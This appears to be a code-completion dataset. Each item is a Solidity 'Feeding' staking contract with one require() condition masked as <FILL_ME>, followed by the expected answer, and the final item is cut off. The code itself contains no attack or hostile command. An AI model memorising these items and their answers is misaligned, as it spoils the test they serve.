}
/**
* @dev Returns vesting data for a given user.
* @param _user Address of the user
* @return Array of Vesting struct representing user's vesting balances
*/
function getVestingData(
address _user
) external view returns (Vesting[] memory) {
}
/**
* @dev Sets the Uniswap router address.
* @param _routerAddress New router address
*/
function setRouter(
address _routerAddress
) external onlyOwner isValidAddress(_routerAddress) {
}
/**
* @dev Sets the reward address.
* @param _rewardAddress New reward address
*/
function setRewardAddress(
address _rewardAddress
) external onlyOwner isValidAddress(_rewardAddress) {
}
/**
* @dev Sets the reward threshold for the feed pool.
* @param _threshold New reward threshold
*/
function setRewardThreshold(uint256 _threshold) external onlyOwner {
}
/**
* @dev Sets the growth rate increase for reward calculation.
* @param _growthRate New growth rate increase value
*/
function setGrowthRateIncrease(uint256 _growthRate) external onlyOwner {
}
/**
* @dev Sets the base growth rate for reward calculation.
* @param _baseGrowthRate New base growth rate value
*/
function setBaseGrowthRate(uint256 _baseGrowthRate) external onlyOwner {
}
/**
* @dev Sets the token path to blob for a feed token.
* @param _tokenPath New token path
*/
function setTokenPath(address[] memory _tokenPath) external onlyOwner {
}
function setBlobSlippage(uint256 newSlippage) external onlyOwner {
}
/**
* @dev Adds a new feed token to the list.
* @param _token New feed token address
*/
function addFeedToken(address _token) external onlyOwner {
}
/**
* @dev Removes a feed token from the list.
* @param _index Index of the token to be removed
*/
function removeFeedToken(uint256 _index) external onlyOwner {
}
/**
* @dev Withdraws funds from the contract to an external account.
* @param account The recipient's address.
* @param token The token to withdraw.
* @param amount The amount to withdraw.
*/
function withdrawFunds(
address account,
address token,
uint256 amount
) external onlyOwner isValidAddress(account) {
require(<FILL_ME>)
IERC20(token).transfer(account, amount);
}
/**
* @dev Feeds tokens into the contract and initiates vesting.
* @param _tokenIn Token to be fed into the contract
* @param _amountIn Amount of tokens to be fed
* @param _slippage Maximum allowable slippage for token swap
* @param _vestingTime Vesting period for the reward
*/
function feed(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage,
uint256 _vestingTime
) external {
}
/**
* @dev Claims the reward for a specific vesting entry.
* @param _index Index of the vesting entry
*/
function claim(
uint256 _index
) external vestingExists(msg.sender, _index) {
}
/**
* @dev Calculates the claimable reward for a specific vesting entry.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Amount of claimable rewards
*/
function claimable(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the remaining time for vesting completion.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Remaining time in seconds
*/
function timeLeft(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the reward multiple based on vesting time.
* @param timeStaked Vesting time in seconds
* @return Calculated reward multiple
*/
function calculateFeedReward(
uint256 timeStaked
) public view returns (uint256) {
}
/**
* @dev Calculates the reward to be distributed based on investment and reward multiple.
* @param _investmentBlob Amount of BLOB tokens invested
* @param _rewardMultiple Reward multiple based on vesting time
* @return Total reward to be distributed
*/
function _calculateReward(
uint256 _investmentBlob,
uint256 _rewardMultiple
) internal returns (uint256) {
}
/**
* @dev Performs a token swap on Uniswap.
* @param _amountIn Amount of tokens to be swapped
* @param path Token path for the swap
* @param _amountOutMin Minimum amount of tokens to receive from the swap
*/
function _swap(
uint256 _amountIn,
address[] memory path,
uint256 _amountOutMin
) internal {
}
/**
* @dev Calculates the minimum amount of tokens to receive from a swap, accounting for slippage.
* @param _tokenIn Token to be swapped
* @param _amountIn Amount of tokens to be swapped
* @param _slippage Maximum allowable slippage for the swap
* @return Minimum amount of tokens to receive
*/
function _calculateAmountOutMin(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage
) internal view returns (uint256) {
}
/**
* @dev Checks if the contract has enough balance of a specific token.
* @param _tokenAddress Address of the token to check
* @param _amount Amount of tokens needed
* @return Whether the contract has enough balance of the token or not
*/
function _hasEnoughBalance(
address _tokenAddress,
uint256 _amount
) internal view returns (bool) {
}
}
|
IERC20(token).balanceOf(address(this))>=amount,"Not enough balance"
| 208,630 |
IERC20(token).balanceOf(address(this))>=amount
|
"Token is not available for feeding."
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {UD60x18, intoUint256, ud} from "@prb/math/src/UD60x18.sol";
/**
* @title Feeding Contract
* @dev Manages the feeding of tokens and reward vesting.
*/
contract Feeding is Ownable {
// ==================== STRUCTURE ==================== //
struct Vesting {
address tokenFed;
uint256 valueFed;
uint256 rewardMultiple;
uint256 amount;
uint256 start;
uint256 vestingTime;
bool claimed;
}
address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public feedPoolRewardThreshold;
uint256 public growthRateIncrease;
uint256 public baseGrowthRate;
address public constant BLOB = 0x2eA6CC1ac06fdC01b568fcaD8D842DEc3F2CE1aD;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private blobSlippage = 15e4;
mapping(address => address[]) public tokenPath;
mapping(address => uint256) public totalFed;
mapping(address => bool) public isFeedToken;
address[] feedTokensList;
uint256 public totalBlobGiven;
mapping(address => Vesting[]) public vestingBalances;
// ==================== EVENTS ==================== //
event SetTokenPath(address _token);
event AddFeedToken(address _token);
event RemoveFeedToken(address _token);
event Feed(address _token, uint256 _amount);
event Claim(uint256 _amount);
event SetRouterAddress(address _routerAddress);
event SetRewardsAddress(address _rewardAddress);
event SetRewardsThreshold(uint256 _threshold);
event SetBlobsSlippage(uint256 _slippage);
event SetGrowthRatesIncrease(uint256 _growthRate);
event SetBaseGrowthRates(uint256 _baseGrowthRate);
// ==================== MODIFIERS ==================== //
modifier vestingExists(address account, uint256 index) {
}
modifier isValidAddress(address account) {
}
// ==================== CONSTRUCTOR ==================== //
constructor(
uint256 _feedPoolRewardThreshold,
uint256 _baseGrowthRate,
uint256 _growthRateIncrease
) {
}
// ==================== FUNCTIONS ==================== //
/**
* @dev Returns the amount of WETH rewards in the contract.
* @return Amount of WETH rewards
*/
function getRewardsAmount() external view returns (uint256) {
}
/**
* @dev Returns the list of feed tokens.
* @return Array of feed tokens
*/
function getFeedTokensList() external view returns (address[] memory) {
}
/**
* @dev Returns the token path to blob for a given feed token.
* @param token Feed token address
* @return Array of addresses representing the token path to blob
*/
function getPath(address token) external view returns (address[] memory) {
}
/**
* @dev Returns vesting data for a given user.
* @param _user Address of the user
* @return Array of Vesting struct representing user's vesting balances
*/
function getVestingData(
address _user
) external view returns (Vesting[] memory) {
}
/**
* @dev Sets the Uniswap router address.
* @param _routerAddress New router address
*/
function setRouter(
address _routerAddress
) external onlyOwner isValidAddress(_routerAddress) {
}
/**
* @dev Sets the reward address.
* @param _rewardAddress New reward address
*/
function setRewardAddress(
address _rewardAddress
) external onlyOwner isValidAddress(_rewardAddress) {
}
/**
* @dev Sets the reward threshold for the feed pool.
* @param _threshold New reward threshold
*/
function setRewardThreshold(uint256 _threshold) external onlyOwner {
}
/**
* @dev Sets the growth rate increase for reward calculation.
* @param _growthRate New growth rate increase value
*/
function setGrowthRateIncrease(uint256 _growthRate) external onlyOwner {
}
/**
* @dev Sets the base growth rate for reward calculation.
* @param _baseGrowthRate New base growth rate value
*/
function setBaseGrowthRate(uint256 _baseGrowthRate) external onlyOwner {
}
/**
* @dev Sets the token path to blob for a feed token.
* @param _tokenPath New token path
*/
function setTokenPath(address[] memory _tokenPath) external onlyOwner {
}
function setBlobSlippage(uint256 newSlippage) external onlyOwner {
}
/**
* @dev Adds a new feed token to the list.
* @param _token New feed token address
*/
function addFeedToken(address _token) external onlyOwner {
}
/**
* @dev Removes a feed token from the list.
* @param _index Index of the token to be removed
*/
function removeFeedToken(uint256 _index) external onlyOwner {
}
/**
* @dev Withdraws funds from the contract to an external account.
* @param account The recipient's address.
* @param token The token to withdraw.
* @param amount The amount to withdraw.
*/
function withdrawFunds(
address account,
address token,
uint256 amount
) external onlyOwner isValidAddress(account) {
}
/**
* @dev Feeds tokens into the contract and initiates vesting.
* @param _tokenIn Token to be fed into the contract
* @param _amountIn Amount of tokens to be fed
* @param _slippage Maximum allowable slippage for token swap
* @param _vestingTime Vesting period for the reward
*/
function feed(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage,
uint256 _vestingTime
) external {
require(<FILL_ME>)
require(
_vestingTime >= 1e18 && _vestingTime <= 7e18,
"Vesting must be between 1 to 7"
);
require(
_slippage >= 1e3 && _slippage <= 100e4,
"slippage must be between 0.1 to 100"
);
uint256 _amountOutMin = _calculateAmountOutMin(
_tokenIn,
_amountIn,
_slippage
);
uint256 blobBefore = IERC20(BLOB).balanceOf(address(this));
IERC20(_tokenIn).transferFrom(msg.sender, address(this), _amountIn);
_swap(_amountIn, tokenPath[_tokenIn], _amountOutMin);
uint256 blobAfter = IERC20(BLOB).balanceOf(address(this));
uint256 amount = blobAfter - blobBefore;
uint256 rewardMultiple = calculateFeedReward(_vestingTime);
uint256 totalAmount = _calculateReward(amount, rewardMultiple);
totalBlobGiven += totalAmount;
totalFed[_tokenIn] += _amountIn;
// Store vesting balance
vestingBalances[msg.sender].push(
Vesting({
tokenFed: _tokenIn,
valueFed: _amountIn,
rewardMultiple: rewardMultiple,
amount: totalAmount,
start: block.timestamp,
vestingTime: block.timestamp + ((_vestingTime / 1e18) * 86400),
claimed: false
})
);
emit Feed(_tokenIn, _amountIn);
}
/**
* @dev Claims the reward for a specific vesting entry.
* @param _index Index of the vesting entry
*/
function claim(
uint256 _index
) external vestingExists(msg.sender, _index) {
}
/**
* @dev Calculates the claimable reward for a specific vesting entry.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Amount of claimable rewards
*/
function claimable(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the remaining time for vesting completion.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Remaining time in seconds
*/
function timeLeft(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the reward multiple based on vesting time.
* @param timeStaked Vesting time in seconds
* @return Calculated reward multiple
*/
function calculateFeedReward(
uint256 timeStaked
) public view returns (uint256) {
}
/**
* @dev Calculates the reward to be distributed based on investment and reward multiple.
* @param _investmentBlob Amount of BLOB tokens invested
* @param _rewardMultiple Reward multiple based on vesting time
* @return Total reward to be distributed
*/
function _calculateReward(
uint256 _investmentBlob,
uint256 _rewardMultiple
) internal returns (uint256) {
}
/**
* @dev Performs a token swap on Uniswap.
* @param _amountIn Amount of tokens to be swapped
* @param path Token path for the swap
* @param _amountOutMin Minimum amount of tokens to receive from the swap
*/
function _swap(
uint256 _amountIn,
address[] memory path,
uint256 _amountOutMin
) internal {
}
/**
* @dev Calculates the minimum amount of tokens to receive from a swap, accounting for slippage.
* @param _tokenIn Token to be swapped
* @param _amountIn Amount of tokens to be swapped
* @param _slippage Maximum allowable slippage for the swap
* @return Minimum amount of tokens to receive
*/
function _calculateAmountOutMin(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage
) internal view returns (uint256) {
}
/**
* @dev Checks if the contract has enough balance of a specific token.
* @param _tokenAddress Address of the token to check
* @param _amount Amount of tokens needed
* @return Whether the contract has enough balance of the token or not
*/
function _hasEnoughBalance(
address _tokenAddress,
uint256 _amount
) internal view returns (bool) {
}
}
|
isFeedToken[_tokenIn],"Token is not available for feeding."
| 208,630 |
isFeedToken[_tokenIn]
|
"Already claimed"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {UD60x18, intoUint256, ud} from "@prb/math/src/UD60x18.sol";
/**
* @title Feeding Contract
* @dev Manages the feeding of tokens and reward vesting.
*/
contract Feeding is Ownable {
// ==================== STRUCTURE ==================== //
struct Vesting {
address tokenFed;
uint256 valueFed;
uint256 rewardMultiple;
uint256 amount;
uint256 start;
uint256 vestingTime;
bool claimed;
}
address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public feedPoolRewardThreshold;
uint256 public growthRateIncrease;
uint256 public baseGrowthRate;
address public constant BLOB = 0x2eA6CC1ac06fdC01b568fcaD8D842DEc3F2CE1aD;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private blobSlippage = 15e4;
mapping(address => address[]) public tokenPath;
mapping(address => uint256) public totalFed;
mapping(address => bool) public isFeedToken;
address[] feedTokensList;
uint256 public totalBlobGiven;
mapping(address => Vesting[]) public vestingBalances;
// ==================== EVENTS ==================== //
event SetTokenPath(address _token);
event AddFeedToken(address _token);
event RemoveFeedToken(address _token);
event Feed(address _token, uint256 _amount);
event Claim(uint256 _amount);
event SetRouterAddress(address _routerAddress);
event SetRewardsAddress(address _rewardAddress);
event SetRewardsThreshold(uint256 _threshold);
event SetBlobsSlippage(uint256 _slippage);
event SetGrowthRatesIncrease(uint256 _growthRate);
event SetBaseGrowthRates(uint256 _baseGrowthRate);
// ==================== MODIFIERS ==================== //
modifier vestingExists(address account, uint256 index) {
}
modifier isValidAddress(address account) {
}
// ==================== CONSTRUCTOR ==================== //
constructor(
uint256 _feedPoolRewardThreshold,
uint256 _baseGrowthRate,
uint256 _growthRateIncrease
) {
}
// ==================== FUNCTIONS ==================== //
/**
* @dev Returns the amount of WETH rewards in the contract.
* @return Amount of WETH rewards
*/
function getRewardsAmount() external view returns (uint256) {
}
/**
* @dev Returns the list of feed tokens.
* @return Array of feed tokens
*/
function getFeedTokensList() external view returns (address[] memory) {
}
/**
* @dev Returns the token path to blob for a given feed token.
* @param token Feed token address
* @return Array of addresses representing the token path to blob
*/
function getPath(address token) external view returns (address[] memory) {
}
/**
* @dev Returns vesting data for a given user.
* @param _user Address of the user
* @return Array of Vesting struct representing user's vesting balances
*/
function getVestingData(
address _user
) external view returns (Vesting[] memory) {
}
/**
* @dev Sets the Uniswap router address.
* @param _routerAddress New router address
*/
function setRouter(
address _routerAddress
) external onlyOwner isValidAddress(_routerAddress) {
}
/**
* @dev Sets the reward address.
* @param _rewardAddress New reward address
*/
function setRewardAddress(
address _rewardAddress
) external onlyOwner isValidAddress(_rewardAddress) {
}
/**
* @dev Sets the reward threshold for the feed pool.
* @param _threshold New reward threshold
*/
function setRewardThreshold(uint256 _threshold) external onlyOwner {
}
/**
* @dev Sets the growth rate increase for reward calculation.
* @param _growthRate New growth rate increase value
*/
function setGrowthRateIncrease(uint256 _growthRate) external onlyOwner {
}
/**
* @dev Sets the base growth rate for reward calculation.
* @param _baseGrowthRate New base growth rate value
*/
function setBaseGrowthRate(uint256 _baseGrowthRate) external onlyOwner {
}
/**
* @dev Sets the token path to blob for a feed token.
* @param _tokenPath New token path
*/
function setTokenPath(address[] memory _tokenPath) external onlyOwner {
}
function setBlobSlippage(uint256 newSlippage) external onlyOwner {
}
/**
* @dev Adds a new feed token to the list.
* @param _token New feed token address
*/
function addFeedToken(address _token) external onlyOwner {
}
/**
* @dev Removes a feed token from the list.
* @param _index Index of the token to be removed
*/
function removeFeedToken(uint256 _index) external onlyOwner {
}
/**
* @dev Withdraws funds from the contract to an external account.
* @param account The recipient's address.
* @param token The token to withdraw.
* @param amount The amount to withdraw.
*/
function withdrawFunds(
address account,
address token,
uint256 amount
) external onlyOwner isValidAddress(account) {
}
/**
* @dev Feeds tokens into the contract and initiates vesting.
* @param _tokenIn Token to be fed into the contract
* @param _amountIn Amount of tokens to be fed
* @param _slippage Maximum allowable slippage for token swap
* @param _vestingTime Vesting period for the reward
*/
function feed(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage,
uint256 _vestingTime
) external {
}
/**
* @dev Claims the reward for a specific vesting entry.
* @param _index Index of the vesting entry
*/
function claim(
uint256 _index
) external vestingExists(msg.sender, _index) {
address account = msg.sender;
Vesting storage info = vestingBalances[account][_index];
require(<FILL_ME>)
require(
block.timestamp >= info.vestingTime,
"Vesting period not reached"
);
info.claimed = true;
IERC20(BLOB).transfer(account, info.amount);
emit Claim(info.amount);
}
/**
* @dev Calculates the claimable reward for a specific vesting entry.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Amount of claimable rewards
*/
function claimable(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the remaining time for vesting completion.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Remaining time in seconds
*/
function timeLeft(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the reward multiple based on vesting time.
* @param timeStaked Vesting time in seconds
* @return Calculated reward multiple
*/
function calculateFeedReward(
uint256 timeStaked
) public view returns (uint256) {
}
/**
* @dev Calculates the reward to be distributed based on investment and reward multiple.
* @param _investmentBlob Amount of BLOB tokens invested
* @param _rewardMultiple Reward multiple based on vesting time
* @return Total reward to be distributed
*/
function _calculateReward(
uint256 _investmentBlob,
uint256 _rewardMultiple
) internal returns (uint256) {
}
/**
* @dev Performs a token swap on Uniswap.
* @param _amountIn Amount of tokens to be swapped
* @param path Token path for the swap
* @param _amountOutMin Minimum amount of tokens to receive from the swap
*/
function _swap(
uint256 _amountIn,
address[] memory path,
uint256 _amountOutMin
) internal {
}
/**
* @dev Calculates the minimum amount of tokens to receive from a swap, accounting for slippage.
* @param _tokenIn Token to be swapped
* @param _amountIn Amount of tokens to be swapped
* @param _slippage Maximum allowable slippage for the swap
* @return Minimum amount of tokens to receive
*/
function _calculateAmountOutMin(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage
) internal view returns (uint256) {
}
/**
* @dev Checks if the contract has enough balance of a specific token.
* @param _tokenAddress Address of the token to check
* @param _amount Amount of tokens needed
* @return Whether the contract has enough balance of the token or not
*/
function _hasEnoughBalance(
address _tokenAddress,
uint256 _amount
) internal view returns (bool) {
}
}
|
!info.claimed,"Already claimed"
| 208,630 |
!info.claimed
|
"Not enough rewards"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {UD60x18, intoUint256, ud} from "@prb/math/src/UD60x18.sol";
/**
* @title Feeding Contract
* @dev Manages the feeding of tokens and reward vesting.
*/
contract Feeding is Ownable {
// ==================== STRUCTURE ==================== //
struct Vesting {
address tokenFed;
uint256 valueFed;
uint256 rewardMultiple;
uint256 amount;
uint256 start;
uint256 vestingTime;
bool claimed;
}
address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public feedPoolRewardThreshold;
uint256 public growthRateIncrease;
uint256 public baseGrowthRate;
address public constant BLOB = 0x2eA6CC1ac06fdC01b568fcaD8D842DEc3F2CE1aD;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private blobSlippage = 15e4;
mapping(address => address[]) public tokenPath;
mapping(address => uint256) public totalFed;
mapping(address => bool) public isFeedToken;
address[] feedTokensList;
uint256 public totalBlobGiven;
mapping(address => Vesting[]) public vestingBalances;
// ==================== EVENTS ==================== //
event SetTokenPath(address _token);
event AddFeedToken(address _token);
event RemoveFeedToken(address _token);
event Feed(address _token, uint256 _amount);
event Claim(uint256 _amount);
event SetRouterAddress(address _routerAddress);
event SetRewardsAddress(address _rewardAddress);
event SetRewardsThreshold(uint256 _threshold);
event SetBlobsSlippage(uint256 _slippage);
event SetGrowthRatesIncrease(uint256 _growthRate);
event SetBaseGrowthRates(uint256 _baseGrowthRate);
// ==================== MODIFIERS ==================== //
modifier vestingExists(address account, uint256 index) {
}
modifier isValidAddress(address account) {
}
// ==================== CONSTRUCTOR ==================== //
constructor(
uint256 _feedPoolRewardThreshold,
uint256 _baseGrowthRate,
uint256 _growthRateIncrease
) {
}
// ==================== FUNCTIONS ==================== //
/**
* @dev Returns the amount of WETH rewards in the contract.
* @return Amount of WETH rewards
*/
function getRewardsAmount() external view returns (uint256) {
}
/**
* @dev Returns the list of feed tokens.
* @return Array of feed tokens
*/
function getFeedTokensList() external view returns (address[] memory) {
}
/**
* @dev Returns the token path to blob for a given feed token.
* @param token Feed token address
* @return Array of addresses representing the token path to blob
*/
function getPath(address token) external view returns (address[] memory) {
}
/**
* @dev Returns vesting data for a given user.
* @param _user Address of the user
* @return Array of Vesting struct representing user's vesting balances
*/
function getVestingData(
address _user
) external view returns (Vesting[] memory) {
}
/**
* @dev Sets the Uniswap router address.
* @param _routerAddress New router address
*/
function setRouter(
address _routerAddress
) external onlyOwner isValidAddress(_routerAddress) {
}
/**
* @dev Sets the reward address.
* @param _rewardAddress New reward address
*/
function setRewardAddress(
address _rewardAddress
) external onlyOwner isValidAddress(_rewardAddress) {
}
/**
* @dev Sets the reward threshold for the feed pool.
* @param _threshold New reward threshold
*/
function setRewardThreshold(uint256 _threshold) external onlyOwner {
}
/**
* @dev Sets the growth rate increase for reward calculation.
* @param _growthRate New growth rate increase value
*/
function setGrowthRateIncrease(uint256 _growthRate) external onlyOwner {
}
/**
* @dev Sets the base growth rate for reward calculation.
* @param _baseGrowthRate New base growth rate value
*/
function setBaseGrowthRate(uint256 _baseGrowthRate) external onlyOwner {
}
/**
* @dev Sets the token path to blob for a feed token.
* @param _tokenPath New token path
*/
function setTokenPath(address[] memory _tokenPath) external onlyOwner {
}
function setBlobSlippage(uint256 newSlippage) external onlyOwner {
}
/**
* @dev Adds a new feed token to the list.
* @param _token New feed token address
*/
function addFeedToken(address _token) external onlyOwner {
}
/**
* @dev Removes a feed token from the list.
* @param _index Index of the token to be removed
*/
function removeFeedToken(uint256 _index) external onlyOwner {
}
/**
* @dev Withdraws funds from the contract to an external account.
* @param account The recipient's address.
* @param token The token to withdraw.
* @param amount The amount to withdraw.
*/
function withdrawFunds(
address account,
address token,
uint256 amount
) external onlyOwner isValidAddress(account) {
}
/**
* @dev Feeds tokens into the contract and initiates vesting.
* @param _tokenIn Token to be fed into the contract
* @param _amountIn Amount of tokens to be fed
* @param _slippage Maximum allowable slippage for token swap
* @param _vestingTime Vesting period for the reward
*/
function feed(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage,
uint256 _vestingTime
) external {
}
/**
* @dev Claims the reward for a specific vesting entry.
* @param _index Index of the vesting entry
*/
function claim(
uint256 _index
) external vestingExists(msg.sender, _index) {
}
/**
* @dev Calculates the claimable reward for a specific vesting entry.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Amount of claimable rewards
*/
function claimable(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the remaining time for vesting completion.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Remaining time in seconds
*/
function timeLeft(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
* @dev Calculates the reward multiple based on vesting time.
* @param timeStaked Vesting time in seconds
* @return Calculated reward multiple
*/
function calculateFeedReward(
uint256 timeStaked
) public view returns (uint256) {
}
/**
* @dev Calculates the reward to be distributed based on investment and reward multiple.
* @param _investmentBlob Amount of BLOB tokens invested
* @param _rewardMultiple Reward multiple based on vesting time
* @return Total reward to be distributed
*/
function _calculateReward(
uint256 _investmentBlob,
uint256 _rewardMultiple
) internal returns (uint256) {
require(_rewardMultiple > 1e18, "Not enough rewards");
uint256 totalBlob = (
intoUint256(ud(_investmentBlob) * ud(_rewardMultiple))
);
uint256 rewardBlob = totalBlob - _investmentBlob;
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = BLOB;
uint[] memory amounts = IUniswapV2Router02(routerAddress).getAmountsIn(
rewardBlob,
path
);
uint256 amount = amounts[0];
uint256 minAmount = _calculateAmountOutMin(WETH, amount, blobSlippage);
require(<FILL_ME>)
require(tokenPath[WETH].length >= 2 && tokenPath[WETH][0] == WETH && tokenPath[WETH][1] == BLOB, "Invalid WETH to BLOB Path");
_swap(amount, tokenPath[WETH], minAmount);
return totalBlob;
}
/**
* @dev Performs a token swap on Uniswap.
* @param _amountIn Amount of tokens to be swapped
* @param path Token path for the swap
* @param _amountOutMin Minimum amount of tokens to receive from the swap
*/
function _swap(
uint256 _amountIn,
address[] memory path,
uint256 _amountOutMin
) internal {
}
/**
* @dev Calculates the minimum amount of tokens to receive from a swap, accounting for slippage.
* @param _tokenIn Token to be swapped
* @param _amountIn Amount of tokens to be swapped
* @param _slippage Maximum allowable slippage for the swap
* @return Minimum amount of tokens to receive
*/
function _calculateAmountOutMin(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage
) internal view returns (uint256) {
}
/**
* @dev Checks if the contract has enough balance of a specific token.
* @param _tokenAddress Address of the token to check
* @param _amount Amount of tokens needed
* @return Whether the contract has enough balance of the token or not
*/
function _hasEnoughBalance(
address _tokenAddress,
uint256 _amount
) internal view returns (bool) {
}
}
|
_hasEnoughBalance(WETH,amount),"Not enough rewards"
| 208,630 |
_hasEnoughBalance(WETH,amount)
|
"Invalid WETH to BLOB Path"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {UD60x18, intoUint256, ud} from "@prb/math/src/UD60x18.sol";
/**
* @title Feeding Contract
* @dev Manages the feeding of tokens and reward vesting.
*/
contract Feeding is Ownable {
// ==================== STRUCTURE ==================== //
struct Vesting {
address tokenFed;
uint256 valueFed;
uint256 rewardMultiple;
uint256 amount;
uint256 start;
uint256 vestingTime;
bool claimed;
}
address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public feedPoolRewardThreshold;
uint256 public growthRateIncrease;
uint256 public baseGrowthRate;
address public constant BLOB = 0x2eA6CC1ac06fdC01b568fcaD8D842DEc3F2CE1aD;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private blobSlippage = 15e4;
mapping(address => address[]) public tokenPath;
mapping(address => uint256) public totalFed;
mapping(address => bool) public isFeedToken;
address[] feedTokensList;
uint256 public totalBlobGiven;
mapping(address => Vesting[]) public vestingBalances;
// ==================== EVENTS ==================== //
event SetTokenPath(address _token);
event AddFeedToken(address _token);
event RemoveFeedToken(address _token);
event Feed(address _token, uint256 _amount);
event Claim(uint256 _amount);
event SetRouterAddress(address _routerAddress);
event SetRewardsAddress(address _rewardAddress);
event SetRewardsThreshold(uint256 _threshold);
event SetBlobsSlippage(uint256 _slippage);
event SetGrowthRatesIncrease(uint256 _growthRate);
event SetBaseGrowthRates(uint256 _baseGrowthRate);
// ==================== MODIFIERS ==================== //
modifier vestingExists(address account, uint256 index) {
}
modifier isValidAddress(address account) {
}
// ==================== CONSTRUCTOR ==================== //
constructor(
uint256 _feedPoolRewardThreshold,
uint256 _baseGrowthRate,
uint256 _growthRateIncrease
) {
}
// ==================== FUNCTIONS ==================== //
/**
* @dev Returns the amount of WETH rewards in the contract.
* @return Amount of WETH rewards
*/
function getRewardsAmount() external view returns (uint256) {
}
/**
* @dev Returns the list of feed tokens.
* @return Array of feed tokens
*/
function getFeedTokensList() external view returns (address[] memory) {
}
/**
* @dev Returns the token path to blob for a given feed token.
* @param token Feed token address
* @return Array of addresses representing the token path to blob
*/
function getPath(address token) external view returns (address[] memory) {
}
/**
* @dev Returns vesting data for a given user.
* @param _user Address of the user
* @return Array of Vesting struct representing user's vesting balances
*/
function getVestingData(
address _user
) external view returns (Vesting[] memory) {
}
/**
* @dev Sets the Uniswap router address.
* @param _routerAddress New router address
*/
function setRouter(
address _routerAddress
) external onlyOwner isValidAddress(_routerAddress) {
}
/**
* @dev Sets the reward address.
* @param _rewardAddress New reward address
*/
function setRewardAddress(
address _rewardAddress
) external onlyOwner isValidAddress(_rewardAddress) {
}
/**
* @dev Sets the reward threshold for the feed pool.
* @param _threshold New reward threshold
*/
function setRewardThreshold(uint256 _threshold) external onlyOwner {
}
/**
* @dev Sets the growth rate increase for reward calculation.
* @param _growthRate New growth rate increase value
*/
function setGrowthRateIncrease(uint256 _growthRate) external onlyOwner {
}
/**
* @dev Sets the base growth rate for reward calculation.
* @param _baseGrowthRate New base growth rate value
*/
function setBaseGrowthRate(uint256 _baseGrowthRate) external onlyOwner {
}
/**
* @dev Sets the token path to blob for a feed token.
* @param _tokenPath New token path
*/
function setTokenPath(address[] memory _tokenPath) external onlyOwner {
}
function setBlobSlippage(uint256 newSlippage) external onlyOwner {
}
/**
* @dev Adds a new feed token to the list.
* @param _token New feed token address
*/
function addFeedToken(address _token) external onlyOwner {
}
/**
* @dev Removes a feed token from the list.
* @param _index Index of the token to be removed
*/
function removeFeedToken(uint256 _index) external onlyOwner {
}
/**
* @dev Withdraws funds from the contract to an external account.
* @param account The recipient's address.
* @param token The token to withdraw.
* @param amount The amount to withdraw.
*/
function withdrawFunds(
address account,
address token,
uint256 amount
) external onlyOwner isValidAddress(account) {
}
/**
* @dev Feeds tokens into the contract and initiates vesting.
* @param _tokenIn Token to be fed into the contract
* @param _amountIn Amount of tokens to be fed
* @param _slippage Maximum allowable slippage for token swap
* @param _vestingTime Vesting period for the reward
*/
function feed(
address _tokenIn,
uint256 _amountIn,
uint256 _slippage,
uint256 _vestingTime
) external {
}
/**
* @dev Claims the reward for a specific vesting entry.
* @param _index Index of the vesting entry
*/
function claim(
uint256 _index
) external vestingExists(msg.sender, _index) {
}
/**
* @dev Calculates the claimable reward for a specific vesting entry.
* @param account Address of the account
* @param _index Index of the vesting entry
* @return Amount of claimable rewards
*/
function claimable(
address account,
uint256 _index
) external view returns (uint256) {
}
/**
